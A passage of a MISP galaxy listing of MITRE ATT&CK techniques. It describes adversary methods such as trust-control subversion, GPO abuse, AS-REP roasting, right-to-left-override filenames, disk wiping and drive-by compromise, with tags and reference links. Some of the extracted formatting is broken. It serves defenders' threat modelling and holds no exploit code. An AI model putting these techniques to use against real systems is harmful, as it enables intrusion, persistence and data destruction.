Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

## Subvert Trust Controls - T1553

Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.

Adversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](<https://attack.mitre.org/techniques/T1222>) or [Modify Registry](<https://attack.mitre.org/techniques/T1112>) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates)

## Revert Cloud Instance - T1536

An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized

environments, such as cloud-based infrastructure, this may be easily facilitated using restoration from VM or data storage snapshots through the cloud management dashboard. Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the latter types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)

The tag is: *misp-galaxy:mitre-attack-pattern="Revert Cloud Instance - T1536"*

Revert Cloud Instance - T1536 has relationships with:

## Cloud Service Dashboard - T1538

An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)

Depending on the configuration of the environment, an adversary may be able to enumerate more

information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Service Dashboard - T1538"*

## Spearphishing for Information - T1397

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](<http://attack.mitre.org/matrices/enterprise/pre/>) matrix for its replacement. The prior content of this page has been preserved [here](<https://attack.mitre.org/versions/v7/techniques/T1397>).

Spearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it doesn't leverage malicious code. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through

the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)

## Remote File Copy - T1544

Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or onto the victim's device.

The tag is: *misp-galaxy:mitre-attack-pattern="Remote File Copy - T1544"*

*Table 3430. Table References*

Links
<a href="https://attack.mitre.org/techniques/T1544">https://attack.mitre.org/techniques/T1544</a>

## Malicious SMS Message - T1454

An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device. For example, Mulliner and Miller demonstrated such an attack against the iPhone in 2009 as described in (Citation: Forbes-iPhoneSMS).

An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser.

As described by SRLabs in (Citation: SRLabs-SIMCard), vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious SMS Message - T1454"*

*Table 3431. Table References*

Links
<a href="https://attack.mitre.org/techniques/T1454">https://attack.mitre.org/techniques/T1454</a>

## Supply Chain Compromise - T1474

As further described in [Supply Chain Compromise](<https://attack.mitre.org/techniques/T1195>), supply chain compromise is the manipulation of products or product delivery mechanisms prior to

receipt by a final consumer for the purpose of data or system compromise. Somewhat related, adversaries could also identify and exploit inadvertently present vulnerabilities. In many cases, it may be difficult to be certain whether exploitable functionality is due to malicious intent or simply inadvertent mistake.

Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities. For example, security issues have previously been identified in third-party advertising libraries incorporated into apps.(Citation: NowSecure-RemoteCode)(Citation: Grace-Advertisement).

## Delete Device Data - T1447

Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location. (Citation: Android DevicePolicyManager 2019)

Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or deleting attacker-specified files for impact.

## Carrier Billing Fraud - T1448

A malicious app may trigger fraudulent charges on a victim's carrier billing statement in several different ways, including SMS toll fraud and SMS shortcodes that make purchases.

Performing SMS fraud relies heavily upon the fact that, when making SMS purchases, the carriers perform device verification but not user verification. This allows adversaries to make purchases on

behalf of the user, with little or no user interaction.(Citation: Google Bread)

Malicious applications may also perform toll billing, which occurs when carriers provide payment endpoints over a web page. The application connects to the web page over cellular data so the carrier can directly verify the number, or the application must retrieve a code sent via SMS and enter it into the web page.(Citation: Google Bread)

On iOS, apps cannot send SMS messages.

On Android, apps must hold the `SEND_SMS` permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).

## Group Policy Modification - T1484

Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `<code>\&lt;DOMAIN>\SYSVOL&lt;DOMAIN>\Policies</code>`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)

Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.

Malicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](<https://attack.mitre.org/techniques/T1053>), [Disable or Modify Tools](<https://attack.mitre.org/techniques/T1562/001>), [Ingress Tool Transfer](<https://attack.mitre.org/techniques/T1105>), [Create Account](<https://attack.mitre.org/techniques/T1136>), [Service Execution](<https://attack.mitre.org/techniques/T1035>), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)

For example, publicly available scripts such as `<code>New-GPOImmediateTask</code>` can be

leveraged to automate the creation of a malicious [Scheduled Task/Job](<https://attack.mitre.org/techniques/T1053>) by modifying GPO settings, in this case modifying `<GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml</code>.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)`

## Event Triggered Execution - T1546

Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.

Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)

Since the execution can be proxied by an account with higher permissions, such as SYSTEM or

service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.

## Malicious Media Content - T1457

Content of a media (audio or video) file could be designed to exploit vulnerabilities in parsers on the mobile device, as for example demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious Media Content - T1457"*

Malicious Media Content - T1457 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456"* with estimative-language:likelihood-probability="almost-certain"

Table 3439. Table References

Links
<a href="https://attack.mitre.org/techniques/T1457">https://attack.mitre.org/techniques/T1457</a>

## Hijack Execution Flow - T1574

Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.

There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.

The tag is: *misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574"*

## Disk Structure Wipe - T1487

Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources.

Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shmoon 2012)(Citation: FireEye Shmoon Nov 2016)(Citation: Palo Alto Shmoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shmoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](<https://attack.mitre.org/techniques/T1487>) may be performed in isolation, or along with [Disk Content Wipe](<https://attack.mitre.org/techniques/T1488>) if all sectors of a disk are wiped.

To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](<https://attack.mitre.org/techniques/T1078>), [Credential Dumping](<https://attack.mitre.org/techniques/T1003>), and [Windows Admin Shares](<https://attack.mitre.org/techniques/T1077>).(Citation: Symantec Shmoon 2012)(Citation: FireEye Shmoon Nov 2016)(Citation: Palo Alto Shmoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487"*

Disk Structure Wipe - T1487 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002"* with estimative-language:likelihood-probability="almost-certain"

## Disk Content Wipe - T1488

Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.

Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](<https://attack.mitre.org/software/S0364>) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](<https://attack.mitre.org/techniques/T1485>) because sections of the disk erased instead of individual files.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](<https://attack.mitre.org/techniques/T1078>), [Credential Dumping](<https://attack.mitre.org/techniques/T1003>), and [Windows Admin Shares](<https://attack.mitre.org/techniques/T1077>).(Citation: Novetta Blockbuster Destructive Malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1488"*

Disk Content Wipe - T1488 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001"* with estimative-language:likelihood-probability="almost-certain"

## Modify Authentication Process - T1556

Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows or pluggable authentication modules (PAM) on Unix-based systems, responsible for gathering, storing, and validating credentials.

Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556"*

## Uninstall Malicious Application - T1576

Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by:

- Abusing device owner permissions to perform silent uninstallation using device owner API calls.
- Abusing root permissions to delete files from the filesystem.
- Abusing the accessibility service. This requires an intent be sent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.

The tag is: *misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1576"*

# Compromise Application Executable - T1577

Adversaries may modify applications installed on a device to establish persistent access to a victim. These malicious modifications can be used to make legitimate applications carry out adversary tasks when these applications are in use.

There are multiple ways an adversary can inject malicious code into applications. One method is by taking advantages of device vulnerabilities, the most well-known being Janus, an Android vulnerability that allows adversaries to add extra bytes to APK (application) and DEX (executable) files without affecting the file's signature. By being able to add arbitrary bytes to valid applications, attackers can seamlessly inject code into genuine executables without the user's knowledge.(Citation: Guardsquare Janus)

Adversaries may also rebuild applications to include malicious modifications. This can be achieved by decompiling the genuine application, merging it with the malicious code, and recompiling it.(Citation: CheckPoint Agent Smith)

Adversaries may also take action to conceal modifications to application executables and bypass user consent. These actions include altering modifications to appear as an update or exploiting vulnerabilities that allow activities of the malicious application to run inside a system application.(Citation: CheckPoint Agent Smith)

## Search Closed Sources - T1597

Before compromising a victim, adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)

Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](<https://attack.mitre.org/techniques/T1598>) or [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>)), establishing operational resources (ex: [Develop Capabilities](<https://attack.mitre.org/techniques/T1587>) or [Obtain Capabilities](<https://attack.mitre.org/techniques/T1588>)), and/or initial access (ex: [External Remote Services](<https://attack.mitre.org/techniques/T1133>) or [Valid Accounts](<https://attack.mitre.org/techniques/T1577>))

[techniques/T1078](#))).

## Phishing for Information - T1598

Before compromising a victim, adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](<https://attack.mitre.org/techniques/T1566>) in that the objective is gathering data from the victim rather than executing malicious code.

All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.

Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMicro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](<https://attack.mitre.org/techniques/T1585>) or [Compromise Accounts](<https://attack.mitre.org/techniques/T1586>)) and/or sending multiple, seemingly urgent messages.

The tag is: *misp-galaxy:mitre-attack-pattern="Phishing for Information - T1598"*

## Network Boundary Bridging - T1599

Adversaries may bridge network boundaries by compromising perimeter network devices. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.

Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.

When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](<https://attack.mitre.org/techniques/T1090/003>) or exfiltration of data via [Traffic Duplication](<https://attack.mitre.org/techniques/T1020/001>). In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.

The tag is: *misp-galaxy:mitre-attack-pattern="Network Boundary Bridging - T1599"*

Table 3448. Table References

Links
<a href="https://attack.mitre.org/techniques/T1599">https://attack.mitre.org/techniques/T1599</a>

## At (Linux) - T1053.001

Adversaries may abuse the [at](<https://attack.mitre.org/software/S0110>) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](<https://attack.mitre.org/software/S0110>) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)

An adversary may use [at](<https://attack.mitre.org/software/S0110>) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](<https://attack.mitre.org/software/S0110>) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.

The tag is: *misp-galaxy:mitre-attack-pattern="At (Linux) - T1053.001"*

Table 3449. Table References

<a href="https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/">https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/</a>

## At (Windows) - T1053.002

Adversaries may abuse the `at.exe` utility to perform task scheduling for initial or recurring execution of malicious code. The `[at]` (<https://attack.mitre.org/software/S0110>) utility exists as an executable within Windows for scheduling tasks at a specified time and date. Using `[at]` (<https://attack.mitre.org/software/S0110>) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.

An adversary may use `at.exe` in Windows environments to execute programs at system startup or on a scheduled basis for persistence. `[at]` (<https://attack.mitre.org/software/S0110>) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).

Note: The `at.exe` command line utility has been deprecated in current versions of Windows in favor of `schtasks`.

The tag is: *misp-galaxy:mitre-attack-pattern="At (Windows) - T1053.002"*

## Right-to-Left Override - T1036.002

Adversaries may use the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse. (Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver executable named `March 25 \u202EExcod.scr` will display as `March 25 rcs.docx`. A JavaScript file named `photo_high_re\u202Egnp.js` will be displayed as `photo_high_resj.png`.

A common use of this technique is with [Spearphishing Attachment](Malicious File (<https://attack.mitre.org/techniques/T1204/002>) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.

The tag is: *misp-galaxy:mitre-attack-pattern="Right-to-Left Override - T1036.002"*

## Multi-hop Proxy - T1090.003

To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing)

In the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise. By leveraging [Patch System Image](<https://attack.mitre.org/techniques/T1601/001>), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network. This method is dependent upon the [Network Boundary Bridging](<https://attack.mitre.org/techniques/T1599>) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization's WAN. Protocols such as ICMP may be used as a transport.

## One-Way Communication - T1102.003

Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

The tag is: *misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003"*

Table 3453. Table References

## Non-Standard Encoding - T1132.002

Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)

## DLL Side-Loading - T1574.002

Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.

Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: About Side by Side Assemblies) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable by replacing the legitimate DLL with a malicious one. (Citation: FireEye DLL Side-Loading)

Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.

## AS-REP Roasting - T1558.004

Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](<https://attack.mitre.org/techniques/T1110/002>) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017)

Preauthentication offers protection against offline [Password Cracking](<https://attack.mitre.org/techniques/T1110/002>). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user's password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user's password.(Citation: Microsoft Kerberos Preauth 2014)

For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](<https://attack.mitre.org/techniques/T1110/002>) attacks similarly to [Kerberoasting](<https://attack.mitre.org/techniques/T1558/003>) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)

An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](<https://attack.mitre.org/techniques/T1059/001>) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)

Cracked hashes may enable [Persistence](<https://attack.mitre.org/tactics/TA0003>), [Privilege Escalation](<https://attack.mitre.org/tactics/TA0004>), and [Lateral Movement](<https://attack.mitre.org/tactics/TA0008>) via access to [Valid Accounts](<https://attack.mitre.org/techniques/T1078>). ## Re-opened Applications - T1547.007

Adversaries may modify plist files to automatically run an application when a user logs in. Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user logs into their machine after reboot. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at `~/Library/Preferences/com.apple.loginwindow.plist` and `~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist`.

An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).

## Multi-Stage Channels - T1104

Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.

Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.

The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](<https://attack.mitre.org/techniques/T1008>) in case the original first-stage communication path is discovered and blocked.

## Multi-hop Proxy - T1188

To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more

difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.

The tag is: `misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188"`

Multi-hop Proxy - T1188 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003"` with estimative-language:likelihood-probability="almost-certain"

## Drive-by Compromise - T1189

Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](<https://attack.mitre.org/techniques/T1550/001>).

Multiple ways of delivering exploit code to a browser exist, including:

- A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.
- Malicious ads are paid for and served through legitimate ad providers.
- Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).

Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)

Typical drive-by compromise process:

1. A user visits a website that is used to host the adversary controlled content.
2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version.
  - The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.
3. Upon finding a vulnerable version, exploit code is delivered to the browser.
4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.

- In some cases a second visit to the website after the initial scan is required before exploit code is delivered.

Unlike [Exploit Public-Facing Application](<https://attack.mitre.org/techniques/T1190>), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.

Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](<https://attack.mitre.org/techniques/T1528>), like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)

## Pre-OS Boot - T1542

Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)

Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.

## Drive-by Compromise - T1456

As described by [Drive-by Compromise](<https://attack.mitre.org/techniques/T1189>), a drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. For example, a website may contain malicious media content intended to exploit vulnerabilities in media parsers as demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).

(This technique was formerly known as Malicious Web Content. It has been renamed to better align with ATT&CK for Enterprise.)

The tag is: *misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456"*

Table 3468. Table References

## Inter-Process Communication - T1559

Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.

Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](<https://attack.mitre.org/techniques/T1559/002>) or [Component Object Model](<https://attack.mitre.org/techniques/T1559/001>). Higher level execution mediums, such as those of [Command and Scripting Interpreter](<https://attack.mitre.org/techniques/T1059>), may also leverage underlying IPC mechanisms.

The tag is: *misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559"*

Table 3469. Table References

Links
<a href="https://attack.mitre.org/techniques/T1559">https://attack.mitre.org/techniques/T1559</a>

